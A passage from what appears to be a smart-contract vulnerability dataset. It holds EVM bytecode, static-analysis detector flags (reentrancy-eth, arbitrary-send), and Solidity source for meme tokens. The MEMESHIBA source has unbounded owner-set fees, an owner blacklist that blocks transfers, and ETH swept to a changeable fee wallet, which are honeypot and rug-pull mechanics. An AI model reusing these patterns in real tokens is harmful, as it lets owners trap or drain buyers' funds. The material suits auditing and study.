505050565b60006020820190506130b96000830184612d95565b92915050565b60006130c96130da565b90506130d58282613314565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ff576130fe6133ec565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613170826132b8565b915061317b836132b8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131b0576131af61338e565b5b828201905092915050565b60006131c6826132b8565b91506131d1836132b8565b9250826131e1576131e06133bd565b5b828204905092915050565b60006131f7826132b8565b9150613202836132b8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561323b5761323a61338e565b5b828202905092915050565b6000613251826132b8565b915061325c836132b8565b92508282101561326f5761326e61338e565b5b828203905092915050565b600061328582613298565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132da826132b8565b9050919050565b60005b838110156132ff5780820151818401526020810190506132e4565b8381111561330e576000848401525b50505050565b61331d8261341b565b810181811067ffffffffffffffff8211171561333c5761333b6133ec565b5b80604052505050565b6000613350826132b8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133835761338261338e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61372b8161327a565b811461373657600080fd5b50565b6137428161328c565b811461374d57600080fd5b50565b613759816132b8565b811461376457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220caac1c5006ee9ab9c233fdcf75375ef299fe7a3908186f935bfb41d1d9b09f3c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,290 |
0xf860033b7b7a812f51feaf35625d1bf8337c0628
|
//SPDX-License-Identifier: UNLICENSED
/*
https://t.me/memeshiba
SEIZE the memes of production !!!!!
Have you ever wondered why a meme could become so powerful?
Do you think memes are all about a normal picture filled with funny content OR you already know memes could be a powerful cultural weapon that can have a significant impact on our daily lives?
Memes are carriers of cultural information.
The images at the beginning of this post are clear examples of memes in this sense, not because they made you laugh
(or, more than likely, cringe), but because they allowed for the transmission of culturally salient information.
One meme could become viral simply because it contains vast popular information.
We believe that the cryptoworld is the best place to indicate and show how powerful one meme is.
Shiba is one of the best and significant examples to show how powerful one meme can be,
various projects are named after Shiba and most of them turn out successful.
Combining the power of Shiba and the meme, we deliver MemeShiba to maximize the memes of production! Join us and SEIZE the memes of production !
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MEMESHIBA is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e11 * 10**9;
string public constant name = unicode"MEME SHIBA";
string public constant symbol = unicode"MEMESHIBA";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (5 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/2;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createNewPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiqNStart() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 2000000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeCollectionADD);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101dc5760003560e01c80635996c6b011610102578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd8014610578578063db92dbb61461058d578063dcb0e0ad146105a2578063dd62ed3e146105c257600080fd5b8063a9059cbb14610503578063b2289c6214610523578063b515566a14610543578063b60e16af1461056357600080fd5b806373f54a11116100d157806373f54a11146104705780638da5cb5b1461049057806394b8d8f2146104ae57806395d89b41146104ce57600080fd5b80635996c6b0146104115780636fc3eaec1461042657806370a082311461043b578063715018a61461045b57600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038d57806345596e2e146103a357806349bd5a5e146103c3578063590f897e146103fb57600080fd5b8063313ce567146102f757806331c2d8471461031e57806332d873d81461033e5780633bbac5791461035457600080fd5b806318160ddd116101b657806318160ddd146102865780631940d020146102ac57806323b872dd146102c257806327f3a72a146102e257600080fd5b806306fdde03146101e8578063095ea7b3146102345780630b78f9c01461026457600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021e6040518060400160405280600a8152602001694d454d4520534849424160b01b81525081565b60405161022b9190611777565b60405180910390f35b34801561024057600080fd5b5061025461024f3660046117f1565b610608565b604051901515815260200161022b565b34801561027057600080fd5b5061028461027f36600461181d565b61061e565b005b34801561029257600080fd5b5068056bc75e2d631000005b60405190815260200161022b565b3480156102b857600080fd5b5061029e600c5481565b3480156102ce57600080fd5b506102546102dd36600461183f565b610698565b3480156102ee57600080fd5b5061029e6106ec565b34801561030357600080fd5b5061030c600981565b60405160ff909116815260200161022b565b34801561032a57600080fd5b50610284610339366004611896565b6106fc565b34801561034a57600080fd5b5061029e600d5481565b34801561036057600080fd5b5061025461036f36600461195b565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039957600080fd5b5061029e60095481565b3480156103af57600080fd5b506102846103be366004611978565b610788565b3480156103cf57600080fd5b506008546103e3906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b34801561040757600080fd5b5061029e600a5481565b34801561041d57600080fd5b5061028461084e565b34801561043257600080fd5b50610284610a53565b34801561044757600080fd5b5061029e61045636600461195b565b610a60565b34801561046757600080fd5b50610284610a7b565b34801561047c57600080fd5b5061028461048b36600461195b565b610aef565b34801561049c57600080fd5b506000546001600160a01b03166103e3565b3480156104ba57600080fd5b50600e546102549062010000900460ff1681565b3480156104da57600080fd5b5061021e604051806040016040528060098152602001684d454d45534849424160b81b81525081565b34801561050f57600080fd5b5061025461051e3660046117f1565b610b5d565b34801561052f57600080fd5b506007546103e3906001600160a01b031681565b34801561054f57600080fd5b5061028461055e366004611896565b610b6a565b34801561056f57600080fd5b50610284610c83565b34801561058457600080fd5b50610284610e76565b34801561059957600080fd5b5061029e610e8c565b3480156105ae57600080fd5b506102846105bd36600461199f565b610ea4565b3480156105ce57600080fd5b5061029e6105dd3660046119bc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610615338484610f21565b50600192915050565b6000546001600160a01b031633146106515760405162461bcd60e51b8152600401610648906119f5565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106a5848484611045565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106d4908490611a40565b90506106e1853383610f21565b506001949350505050565b60006106f730610a60565b905090565b6007546001600160a01b0316336001600160a01b03161461071c57600080fd5b60005b81518110156107845760006005600084848151811061074057610740611a57565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061077c81611a6d565b91505061071f565b5050565b6000546001600160a01b031633146107b25760405162461bcd60e51b8152600401610648906119f5565b6007546001600160a01b0316336001600160a01b0316146107d257600080fd5b600081116108125760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610648565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146108785760405162461bcd60e51b8152600401610648906119f5565b600e5460ff16156108c55760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610648565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561092a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094e9190611a88565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bf9190611a88565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a309190611a88565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b47610a5d81611414565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610aa55760405162461bcd60e51b8152600401610648906119f5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b031614610b0f57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610843565b6000610615338484611045565b6000546001600160a01b03163314610b945760405162461bcd60e51b8152600401610648906119f5565b60005b81518110156107845760085482516001600160a01b0390911690839083908110610bc357610bc3611a57565b60200260200101516001600160a01b031614158015610c14575060065482516001600160a01b0390911690839083908110610c0057610c00611a57565b60200260200101516001600160a01b031614155b15610c7157600160056000848481518110610c3157610c31611a57565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c7b81611a6d565b915050610b97565b6000546001600160a01b03163314610cad5760405162461bcd60e51b8152600401610648906119f5565b600e5460ff1615610cfa5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610648565b600654610d1b9030906001600160a01b031668056bc75e2d63100000610f21565b6006546001600160a01b031663f305d7194730610d3781610a60565b600080610d4c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610db4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dd99190611aa5565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e569190611ad3565b50600e805460ff1916600117905542600d55671bc16d674ec80000600c55565b6000610e8130610a60565b9050610a5d8161144e565b6008546000906106f7906001600160a01b0316610a60565b6000546001600160a01b03163314610ece5760405162461bcd60e51b8152600401610648906119f5565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610843565b6001600160a01b038316610f835760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610648565b6001600160a01b038216610fe45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610648565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561106b57600080fd5b6001600160a01b0383166110cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610648565b6001600160a01b0382166111315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610648565b600081116111935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610648565b600080546001600160a01b038581169116148015906111c057506000546001600160a01b03848116911614155b156113b5576008546001600160a01b0385811691161480156111f057506006546001600160a01b03848116911614155b801561121557506001600160a01b03831660009081526004602052604090205460ff16155b156112a857600e5460ff1661126c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610648565b42600d5461012c61127d9190611af0565b11156112a457600c5461128f84610a60565b6112999084611af0565b11156112a457600080fd5b5060015b600e54610100900460ff161580156112c25750600e5460ff165b80156112dc57506008546001600160a01b03858116911614155b156113b55760006112ec30610a60565b9050801561139e57600e5462010000900460ff161561136f57600b5460085460649190611321906001600160a01b0316610a60565b61132b9190611b08565b6113359190611b27565b81111561136f57600b5460085460649190611358906001600160a01b0316610a60565b6113629190611b08565b61136c9190611b27565b90505b600061137c600283611b27565b90506113888183611a40565b9150611393816115c2565b61139c8261144e565b505b4780156113ae576113ae47611414565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113f757506001600160a01b03841660009081526004602052604090205460ff165b15611400575060005b61140d85858584866115f2565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610784573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149257611492611a57565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150f9190611a88565b8160018151811061152257611522611a57565b6001600160a01b0392831660209182029290920101526006546115489130911684610f21565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611581908590600090869030904290600401611b49565b600060405180830381600087803b15801561159b57600080fd5b505af11580156115af573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff00191661010017905580156115e4576115e43061dead83611045565b50600e805461ff0019169055565b60006115fe8383611614565b905061160c86868684611638565b505050505050565b600080831561163157821561162c5750600954611631565b50600a545b9392505050565b6000806116458484611715565b6001600160a01b038816600090815260026020526040902054919350915061166e908590611a40565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461169e908390611af0565b6001600160a01b0386166000908152600260205260409020556116c081611749565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170591815260200190565b60405180910390a3505050505050565b6000808060646117258587611b08565b61172f9190611b27565b9050600061173d8287611a40565b96919550909350505050565b30600090815260026020526040902054611764908290611af0565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117a457858101830151858201604001528201611788565b818111156117b6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a5d57600080fd5b80356117ec816117cc565b919050565b6000806040838503121561180457600080fd5b823561180f816117cc565b946020939093013593505050565b6000806040838503121561183057600080fd5b50508035926020909101359150565b60008060006060848603121561185457600080fd5b833561185f816117cc565b9250602084013561186f816117cc565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118a957600080fd5b823567ffffffffffffffff808211156118c157600080fd5b818501915085601f8301126118d557600080fd5b8135818111156118e7576118e7611880565b8060051b604051601f19603f8301168101818110858211171561190c5761190c611880565b60405291825284820192508381018501918883111561192a57600080fd5b938501935b8285101561194f57611940856117e1565b8452938501939285019261192f565b98975050505050505050565b60006020828403121561196d57600080fd5b8135611631816117cc565b60006020828403121561198a57600080fd5b5035919050565b8015158114610a5d57600080fd5b6000602082840312156119b157600080fd5b813561163181611991565b600080604083850312156119cf57600080fd5b82356119da816117cc565b915060208301356119ea816117cc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a5257611a52611a2a565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a8157611a81611a2a565b5060010190565b600060208284031215611a9a57600080fd5b8151611631816117cc565b600080600060608486031215611aba57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ae557600080fd5b815161163181611991565b60008219821115611b0357611b03611a2a565b500190565b6000816000190483118215151615611b2257611b22611a2a565b500290565b600082611b4457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b995784516001600160a01b031683529383019391830191600101611b74565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e67f86145a97bbe77c772fa051be9f13cac9d23cb9a6c485a8b00bad6aee186964736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,291 |
0xf10463f7497caced638c9a01b3a0eb5fc44c6612
|
/*
Bull Goose Token
https://t.me/BullGoose
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BullGoose is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BullGoose";
string private constant _symbol = "BullGoose";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xE63f11f131626F25Dfedf942815a3d48cCFB2056);
_feeAddrWallet2 = payable(0xE63f11f131626F25Dfedf942815a3d48cCFB2056);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
